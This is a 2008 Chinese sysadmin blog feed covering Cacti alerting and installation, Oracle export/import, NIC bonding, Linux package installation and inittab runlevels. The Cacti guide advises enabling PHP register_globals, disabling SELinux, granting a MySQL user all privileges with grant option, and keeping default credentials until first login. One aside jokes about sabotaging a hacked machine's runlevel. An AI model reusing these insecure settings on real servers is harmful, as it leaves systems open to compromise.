height=144 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/11-300x144.jpg" width=300></a><br>点击threshld选项卡可以查看警报的触发情况，如下：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/12.jpg"><img class="alignnone size-medium wp-image-725" title=12 height=83 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/12-300x83.jpg" width=300></a><br>磁盘报警邮件范例：</p>
<div class=hl-surround>
<div class=hl-main>Host: 192.168.1.207 (192.168.1.207)<br>URL: http://192.168.1.211/cacti//graph.php?local_graph_id=&amp;rra_id=1<br>Message: 192.168.1.207 - Used Space - D: Label:tool [hdd_percent] went<br>above threshold of 0.085 with 0.0896</div>
</div>
<p>Ok,磁盘空间的邮件报警就正式配置完成了。</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48770.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-05 23:20 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RedHat Linux 下安装配置CACTI的技巧</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Wed, 03 Sep 2008 14:45:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48684.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48684.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48684.html</trackback:ping><description><![CDATA[<p><strong>安装环境及需求:</strong>
<p>1.系统:RedHat AS4(update2)
<p>2.软件包需求:cacti-0.8.6j,mysql-5.0.20,php-5.2.0,apache2.0.58(以上均为源码包).
<p><strong>安装配置过程:</strong>
<p>1. 安装apache2.0.58
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/apache2 --enable-modules=so
<p># make;make install
<p>编译选项比较简单,--prefix=你需要把apache安装的位置,--enable-modules=so意思是可以动态加载apache所需
<p>要的.so 的模块
<p>安装完成后,编辑apache的配置文件,使之能正常使用:
<p># vi /usr/local/apache2/conf/httpd.conf
<p>找到下面这行:
<p>#ServerName www.example.com:80
<p>改为:
<p>ServerName yourIP:80
<p>启动apache:
<p>#/usr/local/apache2/bin/apachectl start
<p>在浏览器里输入你的IP或者localhost测试一下,是否能看到apache的测试页,成功的话,说明安装成功
<p>2.安装mysql-5.0.20
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/mysql
<p># make;make install
<p># cp support-files/my-medium.cnf /etc/my.cnf (这一步是将配置文件拷贝到/etc下面)
<p>编译选项当中指定安装路径就可以了
<p>配置mysql过程:
<p>#groupadd mysql
<p>#useradd -g mysql mysql
<p>#cd /usr/local/mysql
<p>#./bin/mysql_install_db --user=mysql
<p>#chown -R root .
<p>#chown -R mysql var
<p>#chogrp -R mysql .
<p>启动mysql
<p>#./bin/mysqld_safe --user=mysql &amp;
<p>如果看到下面的信息,就说明启动成功了
<p># Starting mysqld daemon with databases from /usr/local/mysql/var
<p>可以测试一下,看看能不能登陆mysql数据库
<p># /usr/local/mysql/bin/mysqladmin -uroot password '你的密码' (给初始登陆mysql的用户root设置密码,当
<p>然不设置也能登陆,推荐设置密码)
<p># /usr/local/mysql/bin/mysql -uroot -p你的密码 (注意: -p后面不要带空格)
<p>如果出现下面的欢迎字样,说明连接成功:
<p>Welcome to the MySQL monitor. Commands end with ; or g.
<p>Your MySQL connection id is 9 to server version: 5.0.20a-log
<p>mysql&gt;
<p>3.安装php-5.2.0
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --with-
<p>mysql=/usr/local/mysql --with-config-file-path=/usr/local/php/etc
<p>#make;make install
<p>编译选项中--with-apxs2=/usr/local/apache2/bin/apxs 是说将PHP模块编译进apache,--with-
<p>mysql=/usr/local/mysql 是说指定mysql的路径(其实就是告诉PHP我们的mysql的一些头文件信息,如果你的
<p>mysql和PHP不是同一台机器的话,指定mysql的头信息是编译必要的),--with-config-file-
<p>path=/usr/local/php/etc 是说将PHP的主配置文件放在什么地方,这是个人习惯
<p>#cp php.ini-dist /usr/local/php/etc/php.ini
<p>#vi /usr/local/php/etc/php.ini
<p>找到如下内容:
<p>register_globals = Off
<p>改为:
<p>register_globals = On
<p>为了使PHP能够配合apache使用,还需要修改apache的配置文件:
<p>#vi /usr/local/apache2/conf/httpd.conf
<p>找到下面字段:
<p>DirectoryIndex
<p>在iindex.html前面添加index.php
<p>并在配置文件最后加入如下字段:
<p>AddHandler php5-script .php
<p>AddType text/html .php
<p>测试PHP是否正常运行:
<p>#vi /usr/local/apache2/htdocs/index.php
<p>写入下面一行:
<p>＜?php phpinfo() ?＞
<p>保存退出后重新启动apache
<p>#/usr/local/apache2/bin/apachectl restart
<p>这里需要注意,如果系统的selinux没有关闭的话,我们的php的模块是不能被apache正确找到的,所以在重起apache
<p>之前,请将selinux关闭,具体做法是:
<p>#vi /etc/selinux/config
<p>找到如下字段:
<p>SELINUX=enforcing
<p>改为:
<p>SELINUX=disabled
<p>保存退出后需要重新启动电脑
<p>在浏览器里输入IP，如果能够看到phpinfo的测试页，那么PHP已经正常工作了
<p>4.安装cacti-0.8.6j
<p>安装前的准备：由于cacti需要net-snmp和rrdtool两个工具来配合使用，所以需要安装这两个工具，由于默认完
<p>全安装RedHat AS4的情况下这两的工具是都安装好的，所以我之前没有提到，如果没有安装这两个工具，那么建
<p>议去http://rpmfind.net去找相关的rpm包来安装，这个网站使用起来很方便，只要输入工具的名字，就能把rpm
<p>包匹配的系统版本的所有rpm包列出来，很方便，rpm包的安装，我这里就不赘述了
<p>以下的配置是默认安装好了上述两个工具的配置
<p>解压cacti的软件包，进行如下操作：
<p>#mv cacti-0.8.6j /usr/local/apache2/htdocs/cacti
<p>#cd /usr/local/apache2/htdocs/cacti
<p>#/usr/local/mysql/bin/mysql -uroot -p你的密码
<p>mysql&gt; grant all privileges on *.* to '你的用户名[email=]'@'localhost'[/email] identified by '为这用户添加的密码'
<p>with grant option;
<p>mysql&gt; create database cacti;
<p>mysql&gt; exit
<p>#/usr/local/mysql/bin/mysql -u用户名 -p你的密码 cacti &lt; cacti.sql
<p>#vi include/config.php
<p>修改如下段落：
<p>$database_type = "mysql";
<p>$database_default = "cacti";
<p>$database_hostname = "localhost";
<p>$database_username = "cactiuser";
<p>$database_password = "cactiuser";
<p>$database_port = "3306";
<p>改为：
<p>$database_type = "mysql";
<p>$database_default = "cacti";
<p>$database_hostname = "localhost";
<p>$database_username = "用户名";
<p>$database_password = "你的密码";
<p>$database_port = "3306";
<p><strong>修改snmp的配置文件：</strong>
<p>#vi /etc/snmp/snmpd.conf
<p><strong>修改下面几部分内容：</strong>
<p>1.)com2sec notConfigUser default public
<p>改为：com2sec notConfigUser localhost public
<p>2.)access notConfigGroup "" any noauth exact systemview none none
<p>改为：access notConfigGroup "" any noauth exact all none none
<p>3.)#view all included .1 80
<p>去掉注释
<p>保存退
<p>启动snmp
<p>#/etc/init.d/snmpd start
<p>修改计划任务，使CACTI每5分钟获得一次数据：
<p>#crontab -e -u 用户名
<p><strong>添加如下内容：</strong>
<p>*/5 * * * * /usr/local/php/bin/php /usr/local/apache2/htdocs/cacti/poller.php &gt; /dev/null 2&gt;&amp;1
<p>保存退出
<p>#chown -R rra/ log/
<p>这样cacti就基本配置完成了
<p>在浏览器里输入IP/cacti初始进入的时候需要告诉cacti你的PHP的可执行文件的路径，其他默认就可以，默认的
<p>用户名和密码是admin和admin。进去后要马上修改密码，保存后就进入cacti的世界了。 </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48684.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-03 22:45 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle数据库导入导出方法</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/02/48612.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 02 Sep 2008 02:23:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/02/48612.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48612.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/02/48612.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48612.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48612.html</trackback:ping><description><![CDATA[<strong>.使用命令行：</strong>
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em"><strong>数据导出：</strong>
<p style="TEXT-INDENT: 2em"><strong>1.将数据库TEST完全导出,用户名system密码manager导出到D:\daochu.dmp中</strong>
<p style="TEXT-INDENT: 2em">exp system/manager@TEST file=d:\daochu.dmp full=y
<p style="TEXT-INDENT: 2em"><strong>2.将数据库中system用户与sys用户的表导出</strong>
<p style="TEXT-INDENT: 2em">exp system/manager@TEST file=d:\daochu.dmp owner=(system,sys)
<p style="TEXT-INDENT: 2em"><strong>3.将数据库中的表inner_notify、notify_staff_relat导出</strong>
<p style="TEXT-INDENT: 2em">exp aichannel/aichannel@TESTDB2 file= d:\data\newsmgnt.dmp tables=(inner_notify,notify_staff_relat)
<p style="TEXT-INDENT: 2em"><strong>4.将数据库中的表table1中的字段filed1以"00"打头的数据导出</strong>
<p style="TEXT-INDENT: 2em">exp system/manager@TEST file=d:\daochu.dmp tables=(table1) query=\" where filed1 like '00%'\"
<p style="TEXT-INDENT: 2em">上面是常用的导出，对于压缩，既用winzip把dmp文件可以很好的压缩。
<p style="TEXT-INDENT: 2em">也可以在上面命令后面加上compress=y来实现。
<p style="TEXT-INDENT: 2em">
<p style="TEXT-INDENT: 2em"><strong>数据的导入：</strong>
<p style="TEXT-INDENT: 2em"><strong>1.将D:\daochu.dmp 中的数据导入 TEST数据库中。</strong>
<p style="TEXT-INDENT: 2em">imp system/manager@TEST file=d:\daochu.dmp
<p style="TEXT-INDENT: 2em">imp aichannel/aichannel@HUST full=y file=file= d:\data\newsmgnt.dmp ignore=y
<p style="TEXT-INDENT: 2em">上面可能有点问题，因为有的表已经存在，然后它就报错，对该表就不进行导入。
<p style="TEXT-INDENT: 2em">在后面加上 ignore=y 就可以了。
<p style="TEXT-INDENT: 2em"><strong>2.将d:\daochu.dmp中的表table1导入</strong>
<p style="TEXT-INDENT: 2em">imp system/manager@TEST file=d:\daochu.dmp tables=(table1)
<p style="TEXT-INDENT: 2em"><strong>2.plsql:</strong>
<p style="TEXT-INDENT: 2em"><strong>数据导出:</strong>
<p style="TEXT-INDENT: 2em">TOOLS-Export user objects(用户对象)
<p style="TEXT-INDENT: 2em">TOOLS-Export tables(表)
<p style="TEXT-INDENT: 2em"><strong>数据的导入：</strong>
<p style="TEXT-INDENT: 2em">TOOLS-Import tables
<p style="TEXT-INDENT: 2em">Oracle Import(表) SQL Inserts(用户对象)
<p style="TEXT-INDENT: 2em">也可以将用户对象的语句拷贝出来，粘贴到Command Window这样的好处是可以看到执行的过程。 </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48612.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-02 10:23 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/02/48612.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux双网卡bonding举例</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:25:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48495.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48495.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48495.html</trackback:ping><description><![CDATA[<div>所谓bonding，就是将多块网卡绑定同一IP地址对外提供服务，可以实现高可用或者负载均衡。当然，直接给两块网卡设置同一IP地址是不可能的。通过bonding，虚拟一块网卡对外提供连接，物理网卡的被修改为相同的MAC地址。Kernels 2.4.12及以后的版本均提供bonding模块，以前的版本可以通过patch实现。<br><br>1.确认你目前使用的网卡，检查/etc/sysconfig/network-scripts目录下以ifcfg-开头的文件，应该为eth0, eth1...<br><br>2. 配置虚拟网卡bond0<br>可以使用DHCP，也可以配置static IP，最好通过vi编辑配置文件<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>[root@server1 ~]# cd /etc/sysconfig/network-scripts<br>[root@server1 network-scripts]# cat ifcfg-bond0<br>DEVICE=bond0<br>BOOTPROTO=none<br>ONBOOT=yes<br>NETWORK=192.168.0.0<br>NETMASK=255.255.255.0<br>IPADDR=192.168.0.10<br>USERCTL=no<br>GATEWAY=192.168.0.254<br>TYPE=Ethernet</div>
</div>
<br><br>3. 修改eth0, eth1配置文件<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>[root@server1 network-scripts]# ifcfg-eth0<br>DEVICE=eth0<br>BOOTPROTO=none<br>ONBOOT=yes<br>MASTER=bond0<br>SLAVE=yes<br>USERCTL=yes<br>[root@server1 network-scripts]# ifcfg-eth1<br>DEVICE=eth1<br>BOOTPROTO=none<br>ONBOOT=yes<br>MASTER=bond0<br>SLAVE=yes<br>USERCTL=yes</div>
</div>
<br><br>4. 将新添加的bond0设备加入modprobe.conf中，以便kernel识别。加入设置参数，miimon值表示两块网卡相互监测的时间，以ms为单位。mode值为工作模式，可设置为高可<a name=entrymore></a>用还是负载均衡，0为高可用（默认值），1为负载均衡，另外还有一种XOR模式。<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>alias bond0 bonding<br>options bond0 miimon=100 mode=1</div>
</div>
<br><br>关于Linux使用bonding的详细信息可以参考官方文档http://www.kernel.org/pub/linux/kernel/people/marcelo/linux-2.4/Documentation/networking/bonding.txt </div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48495.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:25 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下软件安装详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:06:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48493.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48493.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48493.html</trackback:ping><description><![CDATA[<span>在</span><span>Windows</span><span>下安装软件时，只需用鼠标双击软件的安装程序，</span>
<p><span>或者用</span><span>Zip</span><span>等解压缩软件解压缩即可安装。</span></p>
<p><span>在</span><span>Linux</span><span>下安装软件对初学者来说，难度高于</span><span>Windows</span><span>下软件安装。</span><span> </span></p>
<p><span>下面我就详细讲解</span><span>Linux</span><span>下如何安装软件。</span><span> <br></span><span>　　先来看看</span><span>Linux</span><span>软件扩展名。</span></p>
<p><span>软件后缀为</span><span>.rpm</span><span>最初是</span><span>Red Hat Linux</span><span>提供的一种包封装格式，</span></p>
<p><span>现在许多</span><span>Linux</span><span>发行版本都使用；后缀为</span><span>.deb</span><span>是</span><span>Debain Linux</span><span>提供的一种包封装格式；</span></p>
<p><span>后缀为</span><span>.tar.gz</span><span>、</span><span>tar.Z</span><span>、</span><span>tar.bz2</span><span>或</span><span>.tgz</span><span>是使用</span><span>Unix</span><span>系统打包工具</span><span>tar</span><span>打包的；</span></p>
<p><span>后缀为</span><span>.bin</span><span>的一般是一些商业软件。通过扩展名可以了解软件格式，进而了解软件安装。</span><span> <br></span><span>　　</span><span>RPM</span><span>格式软件包的安装</span><span> <br></span><span>　　</span><span>1.</span><span>简介</span><span><br></span><span>　　几乎所有的</span><span>Linux</span><span>发行版本都使用某种形式的软件包管理安装、更新和卸载软件。与直接从源代码安装相比，软件包管理易于安装和卸载；易于更新已安装的软件包；易于保护配置文件；易于跟踪已安装文件。</span><span> <br></span><span>　　</span><span>RPM</span><span>全称是</span><span>Red Hat Package Manager</span><span>（</span><span>Red Hat</span><span>包管理器）。</span><span>RPM</span><span>本质上就是一个包，包含可以立即在特定机器体系结构上安装和运行的</span><span>Linux</span><span>软件。</span><span>RPM</span><span>示意图见图</span><span>1</span><span>。</span><span> <br><br></span><span>　　大多数</span><span>Linux RPM</span><span>软件包的命名有一定的规律，它遵循名称</span><span>-</span><span>版本</span><span>-</span><span>修正版</span><span>-</span><span>类型－</span><span>MYsoftware-1.2 -1.i386.rpm </span><span>。</span><span> <br><br></span><span>　　</span><span>2.</span><span>安装</span><span>RPM</span><span>包软件</span><span> <br></span><span>　　＃　</span><span>rpm -ivh MYsoftware-1.2 -1.i386.rpm <br><br></span><span>　　</span><span>RPM</span><span>命令主要参数：</span><span> <br><br></span><span>　　</span><span>-i </span><span>安装软件。</span><span><br></span><span>　　</span><span>-t </span><span>测试安装，不是真的安装。</span><span> <br></span><span>　　</span><span>-p </span><span>显示安装进度。</span><span><br></span><span>　　</span><span>-f </span><span>忽略任何错误。</span><span><br></span><span>　　</span><span>-U </span><span>升级安装。</span><span><br></span><span>　　</span><span>-v </span><span>检测套件是否正确安装。</span><span><br></span><span>　　　　这些参数可以同时采用。更多的内容可以参考</span><span>RPM</span><span>的命令帮助。</span><span> <br></span><span>　　</span><span>3.</span><span>卸载软件</span><span> <br></span><span>　　＃　</span><span>rpm -e </span><span>软件名</span><span> <br></span><span>　　需要说明的是，上面代码中使用的是软件名，而不是软件包名。例如，要卸载</span><span>software-1.2.-1.i386.rpm</span><span>这个包时，应执行：</span><span><br></span><span>　　＃</span><span>rpm -e software <br>4.</span><span>强行卸载</span><span>RPM</span><span>包</span><span><br></span><span>　　有时除去一个</span><span>RPM</span><span>是不行的，尤其是系统上有别的程序依赖于它的时候。如果执行命令会显示如下错误信息：</span><span> <br></span><span>　　＃</span><span># rpm -e xsnow<br></span><span>　　</span><span>error: removing these packages would break dependencies:<br></span><span>　　</span><span>/usr/X11R6/bin/xsnow is needed by x-amusements-1.0-1<br></span><span>　　在这种情况下，可以用</span><span>--force</span><span>选项重新安装</span><span>xsnow</span><span>：</span><span> <br></span><span>　　＃</span><span># rpm -ivh --force xsnow-1.41-1.i386.rpm<br></span><span>　　</span><span>xsnow<br></span><span>　这里推荐使用工具软件</span><span>Kleandisk</span><span>，用它可以安全彻底清理掉不再使用的</span><span>RPM</span><span>包。</span><span><br></span><span>　　</span><span>5.</span><span>安装</span><span>.src.rpm</span><span>类型的文件</span><span><br></span><span>　　目前</span><span>RPM</span><span>有两种模式，一种是已经过编码的（</span><span>i386.rpm</span><span>），一种是未经编码的（</span><span>src.rpm</span><span>）。</span><span><br></span><span>　　</span><span>rpm --rebuild Filename.src.rpm <br></span><span>　　这时系统会建立一个文件</span><span>Filenamr.rpm</span><span>，在</span><span>/usr/src/redflag/RPMS/</span><span>子目录下，一般是</span><span>i386</span><span>，具体情况和</span><span>Linux</span><span>发行版本有关。然后执行下面代码即可：</span><span><br></span><span>　　</span><span>rpm -ivh /usr/src/regflag/RPMS/i386/Filename.rpm <br></span><span>　　使用</span><span>deb</span><span>打包的软件安装</span><span> <br></span><span>　　</span><span>deb</span><span>是</span><span>Debian Linux</span><span>提供的一个包管理器，它与</span><span>RPM</span><span>十分类似。但由于</span><span>RPM</span><span>出现得早，并且应用广泛，所以在各种版本的</span><span>Linux</span><span>中都常见到，而</span><span>Debian</span><span>的包管理器</span><span>dpkg</span><span>只出现在</span><span>Debina Linux</span><span>中。它的优点是不用被严格的依赖性检查所困扰，缺点是只在</span><span>Debian Linux</span><span>发行版中才能见到这个包管理工具。</span><span> <br></span><span>　　</span><span>1. </span><span>安装</span><span><br></span><span>　　＃　</span><span>dpkg -i MYsoftware-1.2.-1.deb <br></span><span>　　</span><span>2. </span><span>卸载</span><span><br></span><span>　　＃　</span><span>dpkg -e MYsoftware <br></span><span>　　使用源代码进行软件安装</span><span> <br></span><span>　　和</span><span>RPM</span><span>安装方式相比，使用源代码进行软件安装会复杂一些，但是用源代码安装软件是</span><span>Linux</span><span>下进行软件安装的重要手段，也是运行</span><span>Linux</span><span>的最主要的优势之一。使用源代码安装软件，能按照用户的需要选择定制的安装方式进行安装，而不是仅仅依靠那些在安装包中的预配置的参数选择安装。另外，仍然有一些软件程序只能从源代码处进行安装。</span><span> <br></span><span>　　现在有很多地方都提供源代码包，到底在什么地方获得取决于软件的特殊需要。对于那些使用比较普遍的软件，如</span><span>Sendmail</span><span>，可以从商业网站处下载源代码软件包（如</span><span>http://www.sendmail.org </span><span>）。一般的软件包，可从开发者的</span><span>Web</span><span>站点下载。下面介绍一下安装步骤：</span><span> <br></span><span>　　</span><span>1.</span><span>解压数据包</span><span><br></span><span>　　源代码软件通常以</span><span>.tar.gz</span><span>做为扩展名</span><span>,</span><span>也有</span><span>tar.Z</span><span>、</span><span>tar.bz2</span><span>或</span><span>.tgz</span><span>为扩展名的。不同扩展名解压缩命令也不相同，见表</span><span>1</span><span>。</span><span>
<table cellSpacing=1 cellPadding=1 width=301 border=1>
    <tbody>
        <tr>
            <td>&nbsp;压缩包类型</td>
            <td>&nbsp;解压缩命令</td>
        </tr>
        <tr>
            <td>&nbsp;.gz</td>
            <td>&nbsp;gunzip</td>
        </tr>
        <tr>
            <td>&nbsp;.z</td>
            <td>&nbsp;uncompress</td>
        </tr>
        <tr>
            <td>&nbsp;.zip</td>
            <td>&nbsp;unzip</td>
        </tr>
        <tr>
            <td>&nbsp;.bz2</td>
            <td>&nbsp;bunzip2</td>
        </tr>
    </tbody>
</table>
<br></span><span>　　</span><span><br></span><span>　　</span><span>2.</span><span>编译软件</span><span><br></span><span>　　成功解压缩源代码文件后，进入解包的目录。在安装前阅读</span><span>Readme</span><span>文件和</span><span>Install</span><span>文件。尽管许多源代码文件包都使用基本相同的命令，但是有时在阅读这些文件时能发现一些重要的区别。例如，有些软件包含一个可以安装的安装脚本程序（</span><span>.sh</span><span>）。在安装前阅读这些说明文件，有助于安装成功和节约时间。</span><span> <br></span><span>　　在安装软件以前要成为</span><span>root</span><span>用户。实现这一点通常有两种方式：在另一台终端以</span><span>root</span><span>用户登录，或者输入</span><span>&#8220;su&#8221;</span><span>，此时系统会提示输入</span><span>root</span><span>用户的密码。输入密码以后，就将一直拥有</span><span>root</span><span>用户的权限。如果已经是</span><span>root</span><span>用户，那就可以进行下一步。</span><span> <br></span><span>通常的安装方法是从安装包的目录执行以下命令：</span><span> <br></span><span>　　</span><span>gunzip soft1.tar.gz<br></span><span>　　</span><span>cd soft1<br></span><span>　　＃</span><span>. /configure </span><span>＃配置＃</span><span><br></span><span>　　</span><span>make </span><span>＃调用</span><span>make</span><span>＃</span><span><br></span><span>　　</span><span>make install </span><span>＃安装源代码＃</span><span><br></span><span>　　删除安装时产生的临时文件：</span><span><br></span><span>　　＃</span><span>make clean <br></span><span>　　卸载软件：</span><span><br></span><span>　　＃</span><span>make uninstall <br></span><span>　　有些软件包的源代码编译安装后可以用</span><span>make uninstall</span><span>命令卸载。如果不提供此功能，则软件的卸载必须手动删除。由于软件可能将文件分散地安装在系统的多个目录中，往往很难把它删除干净，应该在编译前进行配置。</span><span> <br></span><span>　　</span><span>.bin</span><span>文件安装</span><span> <br></span><span>　　扩展名为</span><span>.bin</span><span>文件是二进制的，它也是源程序经编译后得到的机器语言。有一些软件可以发布为以</span><span>.bin</span><span>为后缀的安装包，例如，流媒体播放器</span><span>RealONE</span><span>。如果安装过</span><span>RealONE</span><span>的</span><span>Windows</span><span>版的话，那么安装</span><span>RealONE for Linux</span><span>版本</span><span>(</span><span>文件名：</span><span>r1p1_linux22_libc6_i386_a1.bin)</span><span>就非常简单了：</span><span><br></span><span>　　＃</span><span>chmod +x r1p1_linux22_libc6_i386_a1.bin<br></span><span>　　</span><span>./ r1p1_linux22_libc6_i386_a1.bin <br></span><span>　　接下来选择安装方式，有普通安装和高级安装两种。如果不想改动安装目录，就可选择普通安装，整个安装过程几乎和在</span><span>Windwos</span><span>下一样。</span><span> <br></span><span>　</span><span>.bin</span><span>文件的卸载，以</span><span>RealONE for Linux</span><span>为例，如果采用普通安装方式的话，在用户主目录下会有</span><span>Real</span><span>和</span><span>Realplayer9</span><span>两个文件夹，把它们删除即可。</span><span> <br></span><span>　　</span><span>Linux</span><span>绿色软件</span><span> <br></span><span>　　</span><span>Linux</span><span>也有一些绿色软件，不过不是很多。</span><span>Linux</span><span>系统提供一种机制：自动响应软件运行进程的要求</span><span>,</span><span>为它设定好可以马上运行的环境。这种机制可以是一种接口，或者是中间件。程序员编写的程序可以直接拷贝分发，不用安装，只要点击程序的图标，访问操作系统提供的接口，设定好就可以工作。若要删除软件，直接删除就可以</span><span>,</span><span>不用链接文件。这是最简单的软件安装、卸载方式。</span><span> <br></span><span>　　上面介绍了</span><span>Linux</span><span>软件安装的方法，对于</span><span>Linux</span><span>初学者来说，</span><span>RPM</span><span>安装是一个不错的选择。如果想真正掌握</span><span>Linux</span><span>系统，源代码安装仍然是</span><span>Linux</span><span>下软件安装的重要手段</span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48493.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:06 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux inittab详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:03:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48492.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48492.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48492.html</trackback:ping><description><![CDATA[一、什么是init<br><br>　　init是Linux系统操作中不可缺少的程序之一。 是一个由内核启动的用户级进程。<br><br>　　内核启动（已经被载入内存，开始运行，并已初始化所有的设备驱动程序和数据结构等）之后，就通过启动一个用户级程序init的方式来启动其他用户级的进程或服务。所以，init始终是第一个进程（其PID始终为1）。<br><br>　　内核会在过去曾使用过init的几个地方查找它，它的正确位置（对Linux系统来说）是/sbin/init.如果内核找不到init，它就会试着运行/bin/sh，如果运行失败，系统的启动也会失败。<br><br>二、运行级别<br><br>　　运行级就是操作系统当前正在运行的功能级别。这个级别从1到6，具有不同的功能。其功能级别如下：# 0 - 停机（千万不能把initdefault 设置为0 ）<br><br>本贴相关代码：<br><br>　　# 1 - 单用户模式# 2 - 多用户，没有 NFS # 3 - 完全多用户模式（标准的运行级）<br><br>　　# 4 - 没有用到# 5 - X11 （xwindow）<br><br>　　# 6 - 重新启动 （千万不要把initdefault 设置为6——把被你黑掉的linux的initdefault设置为0或6也算是拒绝服务攻击噢！）<br><br><br>　　除此之外还有ABC三个运行级别，但在RHLinux中都没有意义。<br><br>　　这些级别在/etc/inittab 文件里指定。这个文件是init 程序寻找的主要文件，最先运行的服务是放在/etc/rc.d 目录下的文件。在大多数的Linux 发行版本中，启动脚本都是位于 /etc/rc.d/init.d中的。这些脚本被用ln 命令连接到 /etc/rc.d/rcn.d 目录。（这里的n 就是运行级0-6）<br><br>三、运行级别的配置<br><br>　　运行级别的配置是在 /etc/inittab行内进行的，如下所示：12 ： 2 ： wait： /etc/init.d/rc2各字段解释如下：id：runlevels：action：process id：是一个任意指定的四个字符以内的序列标号，在本文件内必须唯一；使用老版本的libc5（低于5.2.18）或a.out库编译出来的 sysvinit限制为2字符。注意：像getty之类的登陆进程必须使id字段与tty编号一致，如tty1需要id=1，许多老版本的登陆进程都遵循这种规则。<br><br>　　runlevels：表示这一行适用于运行那个/些级别（这里是2，可以有多个，表示在相应的运行级均需要运行）；另外sysinit、boot、bootwait这三个进程会忽略这个设置值。<br><br>　　